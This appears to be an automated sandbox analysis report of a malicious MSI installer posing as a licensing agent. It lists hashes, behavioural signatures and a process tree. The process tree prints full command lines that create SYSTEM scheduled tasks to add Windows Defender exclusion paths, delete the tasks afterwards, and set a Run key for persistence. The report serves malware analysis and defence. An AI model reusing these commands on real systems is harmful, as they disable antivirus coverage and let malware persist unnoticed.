Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
16/07/2026, 04:30
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
appinstall.8835005.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
25 signatures
150 seconds
Behavioral task
behavioral2
Sample
appinstall.8835005.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
26 signatures
150 seconds
General
- Target appinstall.8835005.msi
- Size 7.2MB
- Sample260716-e4y8qac14m
- SHA256 40159e55d986dbd2adc9fc6a952f059adea46b5eb351b3da204ca6fdfa1ee1fa
- MD5 8c8623c034431af6fc53c084f32ab77a
- SHA1 3c2a5c2eb944b867118643b4ee530f33951f49bc
- SHA512 8ec14a97d708232cd9d75dbaeafe08d2e847562fbaa10d2a15cf7ffdb76039d50a8fd1f06a6f338dcded2a2ca96411b285e84846077956851f3b551bce3b1755
- SSDEEP 196608:aNszuSrjTkP4gJJufIgnv1t9GRPHmimAiLOw:aNlIjTirJu5t9aHTiSw
- TLSH T15D76339A2CC9B7B6D05BC3B08647703E782D3FC27E6A4D03B2D836111D7171629BAB56
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\HSQMVa = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions MsiExec.exe - Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools MsiExec.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation hixMOz.exe - Executes dropped EXE 1 IoCs
pid Process 964 hixMOz.exe - Loads dropped DLL 2 IoCs
pid Process 1288 MsiExec.exe 964 hixMOz.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\HSQMVa\\hixMOz.exe\"" hixMOz.exe - Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 22 1288 MsiExec.exe 24 1288 MsiExec.exe 33 1288 MsiExec.exe 35 1288 MsiExec.exe 36 1288 MsiExec.exe 37 1288 MsiExec.exe 53 1288 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1960 cmd.exe 4460 cmd.exe 1756 cmd.exe 4436 cmd.exe 4316 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E6C97C39E1851E5AAB36E260F19BBDD5 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E6C97C39E1851E5AAB36E260F19BBDD5 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b hixMOz.exe - Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\Installer\e58752b.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI7606.tmp msiexec.exe File created C:\Windows\Installer\e58752d.msi msiexec.exe File opened for modification C:\Windows\Installer\e58752b.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{DBE37440-1514-4BD7-8D8E-BFF5D9F3B754} msiexec.exe File opened for modification C:\Windows\Installer\MSI7693.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 3540 msiexec.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000020c8f0fe5d92f37a0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000020c8f0fe0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090020c8f0fe000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a20c8f0fe000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d20c8f0fe000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\PackageName = "appinstall.8835005.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\ProductName = "Ali Licensing Agent Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\PackageCode = "2C85FE63A7ACD6D44B87E043FBCE1954" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Version = "50462843" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\93B4AF7293B493B4A95CB49365D8B493\04473EBD41517DB4D8E8FB5F9D3F7B45 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\04473EBD41517DB4D8E8FB5F9D3F7B45 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\04473EBD41517DB4D8E8FB5F9D3F7B45\UpdFeatYKQD msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\InstanceType = "0" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\93B4AF7293B493B4A95CB49365D8B493 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4756 schtasks.exe 728 schtasks.exe 2412 schtasks.exe 548 schtasks.exe 2560 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1864 msiexec.exe 1864 msiexec.exe 1864 msiexec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe 964 hixMOz.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 652 Process not Found 652 Process not Found 652 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3540 msiexec.exe Token: SeIncreaseQuotaPrivilege 3540 msiexec.exe Token: SeSecurityPrivilege 1864 msiexec.exe Token: SeCreateTokenPrivilege 3540 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3540 msiexec.exe Token: SeLockMemoryPrivilege 3540 msiexec.exe Token: SeIncreaseQuotaPrivilege 3540 msiexec.exe Token: SeMachineAccountPrivilege 3540 msiexec.exe Token: SeTcbPrivilege 3540 msiexec.exe Token: SeSecurityPrivilege 3540 msiexec.exe Token: SeTakeOwnershipPrivilege 3540 msiexec.exe Token: SeLoadDriverPrivilege 3540 msiexec.exe Token: SeSystemProfilePrivilege 3540 msiexec.exe Token: SeSystemtimePrivilege 3540 msiexec.exe Token: SeProfSingleProcessPrivilege 3540 msiexec.exe Token: SeIncBasePriorityPrivilege 3540 msiexec.exe Token: SeCreatePagefilePrivilege 3540 msiexec.exe Token: SeCreatePermanentPrivilege 3540 msiexec.exe Token: SeBackupPrivilege 3540 msiexec.exe Token: SeRestorePrivilege 3540 msiexec.exe Token: SeShutdownPrivilege 3540 msiexec.exe Token: SeDebugPrivilege 3540 msiexec.exe Token: SeAuditPrivilege 3540 msiexec.exe Token: SeSystemEnvironmentPrivilege 3540 msiexec.exe Token: SeChangeNotifyPrivilege 3540 msiexec.exe Token: SeRemoteShutdownPrivilege 3540 msiexec.exe Token: SeUndockPrivilege 3540 msiexec.exe Token: SeSyncAgentPrivilege 3540 msiexec.exe Token: SeEnableDelegationPrivilege 3540 msiexec.exe Token: SeManageVolumePrivilege 3540 msiexec.exe Token: SeImpersonatePrivilege 3540 msiexec.exe Token: SeCreateGlobalPrivilege 3540 msiexec.exe Token: SeBackupPrivilege 2216 vssvc.exe Token: SeRestorePrivilege 2216 vssvc.exe Token: SeAuditPrivilege 2216 vssvc.exe Token: SeBackupPrivilege 1864 msiexec.exe Token: SeRestorePrivilege 1864 msiexec.exe Token: SeRestorePrivilege 1864 msiexec.exe Token: SeTakeOwnershipPrivilege 1864 msiexec.exe Token: SeRestorePrivilege 1864 msiexec.exe Token: SeTakeOwnershipPrivilege 1864 msiexec.exe Token: SeRestorePrivilege 1864 msiexec.exe Token: SeTakeOwnershipPrivilege 1864 msiexec.exe Token: SeBackupPrivilege 4720 srtasks.exe Token: SeRestorePrivilege 4720 srtasks.exe Token: SeSecurityPrivilege 4720 srtasks.exe Token: SeTakeOwnershipPrivilege 4720 srtasks.exe Token: SeBackupPrivilege 4720 srtasks.exe Token: SeRestorePrivilege 4720 srtasks.exe Token: SeSecurityPrivilege 4720 srtasks.exe Token: SeTakeOwnershipPrivilege 4720 srtasks.exe Token: SeRestorePrivilege 1864 msiexec.exe Token: SeTakeOwnershipPrivilege 1864 msiexec.exe Token: SeRestorePrivilege 1864 msiexec.exe Token: SeTakeOwnershipPrivilege 1864 msiexec.exe Token: SeRestorePrivilege 1864 msiexec.exe Token: SeTakeOwnershipPrivilege 1864 msiexec.exe Token: SeRestorePrivilege 1864 msiexec.exe Token: SeTakeOwnershipPrivilege 1864 msiexec.exe Token: SeRestorePrivilege 1864 msiexec.exe Token: SeTakeOwnershipPrivilege 1864 msiexec.exe Token: SeRestorePrivilege 1864 msiexec.exe Token: SeTakeOwnershipPrivilege 1864 msiexec.exe Token: SeRestorePrivilege 1864 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3540 msiexec.exe 3540 msiexec.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 1864 wrote to memory of 4720 1864 msiexec.exe 98 PID 1864 wrote to memory of 1288 1864 msiexec.exe 100 PID 964 wrote to memory of 4460 964 hixMOz.exe 103 PID 4460 wrote to memory of 4756 4460 cmd.exe 106 PID 4460 wrote to memory of 4724 4460 cmd.exe 107 PID 964 wrote to memory of 1756 964 hixMOz.exe 109 PID 1756 wrote to memory of 728 1756 cmd.exe 112 PID 4460 wrote to memory of 2208 4460 cmd.exe 113 PID 1756 wrote to memory of 4656 1756 cmd.exe 115 PID 1756 wrote to memory of 4936 1756 cmd.exe 117 PID 4444 wrote to memory of 1872 4444 cmd.exe 118 PID 964 wrote to memory of 4436 964 hixMOz.exe 119 PID 4436 wrote to memory of 2412 4436 cmd.exe 121 PID 4436 wrote to memory of 3784 4436 cmd.exe 122 PID 4436 wrote to memory of 384 4436 cmd.exe 124 PID 4880 wrote to memory of 3780 4880 cmd.exe 126 PID 964 wrote to memory of 4316 964 hixMOz.exe 127 PID 4316 wrote to memory of 548 4316 cmd.exe 129 PID 4316 wrote to memory of 3528 4316 cmd.exe 130 PID 4316 wrote to memory of 2428 4316 cmd.exe 133 PID 4600 wrote to memory of 5080 4600 cmd.exe 134 PID 964 wrote to memory of 1960 964 hixMOz.exe 135 PID 1960 wrote to memory of 2560 1960 cmd.exe 137 PID 1960 wrote to memory of 3108 1960 cmd.exe 138 PID 1960 wrote to memory of 1888 1960 cmd.exe 141 PID 4440 wrote to memory of 2708 4440 cmd.exe 142 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\appinstall.8835005.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3540
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1864 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:4720
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 3F0CEF40B21880F13C0EC5A1105BD672 E Global\MSI00002⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1288
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2216
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C:\Users\Public\HSQMVa\hixMOz.exeC:\Users\Public\HSQMVa\hixMOz.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:964 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\HSQMVa\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\HSQMVa\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4756
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4724
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2208
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1756 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:728
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4656
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4936
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4436 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2412
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3784
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:384
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4316 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:548
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3528
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2428
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2560
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3108
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1888
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\HSQMVa" /t REG_DWORD /d 0 /f1⤵
